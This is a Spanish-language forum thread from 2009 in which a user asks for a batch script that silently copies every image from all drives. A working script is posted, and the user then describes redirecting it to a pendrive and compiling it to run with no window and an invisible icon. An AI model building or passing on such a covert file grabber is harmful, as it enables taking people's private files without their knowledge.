Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: titan6146 en 2 Junio 2009, 03:31 am



Título: Copiar todas las imagenes de una carpeta [batch]
Publicado por: titan6146 en 2 Junio 2009, 03:31 am
buenas noches
quiero crear un bat que escanee los discos y sub carpetas y copie todos los archivos (jpg por ejemplo) en una carpeta y que lo haga en forma invisible
Se puede hacer eso ?
gracias


Título: Re: Copiar todas las imagenes de una carpeta [batch]
Publicado por: leogtz en 2 Junio 2009, 05:41 am
Prueba esto:
Código
  1. @echo off
  2. cd /d "%homedrive%\"
  3. if not exist "copiadas" (mkdir "copiadas")
  4. for %%_ in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
  5. dir %%_: > nul 2>&1 && (
  6. call:copia %%_:\
  7. )
  8. )
  9. goto:eof
  10. :copia
  11. for /f "tokens=*" %%_ in ('dir %1*.jpg /b /s 2^>nul') do (
  12. copy /y "%%_" "%homedrive%\copiadas" > nul 2>&1
  13. )
  14. goto:eof

Las copia en tu disco duro %homedrive%, en una carpeta llamada copiadas.

Saludos.


Título: Re: Copiar todas las imagenes de una carpeta [batch]
Publicado por: titan6146 en 2 Junio 2009, 21:45 pm
sos un fenomeno funciona de primera igual yo le hice algunas modificaciones para que me copiara archivos con otra extensión en una carpeta especifica en el pendrive
Apelando a tu experiencia donde deberia ponerle el comando ATTRIB /-h creo que era este, para ejecutarlo en forma oculta osea que no se vea ni siquiera la ventana de dos
Gracias


Título: Re: Copiar todas las imagenes de una carpeta [batch]
Publicado por: titan6146 en 2 Junio 2009, 22:21 pm
listo!!! ya lo solucione lo compile con quickbfc.120.exe y lo puse a trabajar en forma invisible aparte le meti un icono invisible tambien
te agradezco enormemente tu tiempo muchas gracias